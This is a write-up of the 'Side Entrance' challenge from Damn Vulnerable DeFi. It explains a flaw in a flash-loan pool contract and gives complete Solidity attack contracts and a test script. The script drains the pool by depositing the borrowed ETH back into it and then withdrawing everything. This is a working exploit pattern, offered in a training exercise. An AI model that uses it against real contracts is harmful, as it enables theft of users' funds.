Damn Vulnerable DeFi - Side Entrance Solution & Explain

Damn Vulnerable DeFi - Side Entrance Solution & Explain

In this post, we'll delve into the Side Entrance challenge of Damn Vulnerable DeFi and provide a solution.

⚠️
Beware of spoilers if you haven't attempted the challenge yet!

Understanding the Problem

Check out the challenge here.

The challenge description is as follows:

A surprisingly simple pool allows anyone to deposit ETH and withdraw it at any point in time.

It has 1000 ETH in balance already and is offering free flash loans using the deposited ETH to promote their system.

Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.

Translated, it suggests that by exploiting the flash loan mechanism, we might be able to steal all the ETH. With 1 ETH in hand, we have some room to experiment.

Examining the Code

Here's the content of SideEntranceLenderPool.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

contract SideEntranceLenderPool {
    mapping(address => uint256) private balances;

    error RepayFailed();

    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        
        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore)
            revert RepayFailed();
    }
}

The success conditions are as follows:

  • The pool's ETH balance is zero.
  • The player's ETH balance is greater than or equal to ETHER_IN_POOL.

In other words, the challenge is to completely drain the pool of its ETH. Next, let's discuss how we might hack this.

Strategy for the Attack

The key to this challenge lies in the flashLoan function:

function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;
    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
    if (address(this).balance < balanceBefore)
        revert RepayFailed();
}

Notice that the flash loan checks the overall ETH balance of the pool. This means that as long as we leave the pool with the same or more ETH than it had before the loan, the flashLoan won't revert.

So, if we can somehow deposit ETH into the pool during the flash loan, we can pass the balance check and then withdraw all the ETH. The deposit function allows us to do just that. Here's how:

  1. Create an attack contract that will receive the flash loan.
  2. Within the flash loan, use the received ETH to deposit back into the pool.
  3. After the flash loan, withdraw the total balance from the pool.
  4. Transfer the withdrawn ETH to the attacker's address.

Here's a sample implementation:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./SideEntranceLenderPool.sol";

contract AttackSideEntrance {
    SideEntranceLenderPool pool;
    address owner;

    constructor(address _pool, address _owner) {
        pool = SideEntranceLenderPool(_pool);
        owner = _owner;
    }

    function attack(uint256 amount) external {
        pool.flashLoan(amount);
        pool.withdraw();
        payable(owner).transfer(address(this).balance);
    }

    function execute() external payable {
        pool.deposit{value: msg.value}();
    }

    receive() external payable {}
}

By following these steps, we can successfully drain all ETH from the pool in a single transaction!

Solution

Follow these steps to execute the attack:

  1. Create an attack contract.
  2. Execute the pool's flashLoan function from the attack contract.
  3. During the flashLoan, call the pool's deposit() function to deposit the received ETH.
  4. After the flashLoan, withdraw all tokens using the pool's withdraw function.
  5. Transfer all tokens to the player.

Here's the actual code:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";
import "./SideEntranceLenderPool.sol";

contract AttackSideEntranceLenderPool {
    SideEntranceLenderPool private pool;
    address private owner;

    constructor(address _pool, address _owner) {
        pool = SideEntranceLenderPool(_pool);
        owner = _owner;
    }

    function attack(uint256 amount) external payable {
        // Execute the pool's flashLoan
        pool.flashLoan(amount);
        // Execute the pool's withdraw
        pool.withdraw();
        // Transfer ETH to the owner
        SafeTransferLib.safeTransferETH(owner, address(this).balance);
    }

    function execute() external payable {
        // Deposit 1 ETH
        pool.deposit{value: msg.value}();
    }

    receive() external payable {}
}

The test is as follows:

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const attackContract = await (await ethers.getContractFactory('AttackSideEntranceLenderPool', player)).deploy(pool.address, player.address);
    await attackContract.attack(ETHER_IN_POOL);
});

With this approach, you can cleanly finish the attack in a single transaction!

By checking each potential vulnerability one by one, you can find such attack methods relatively easily.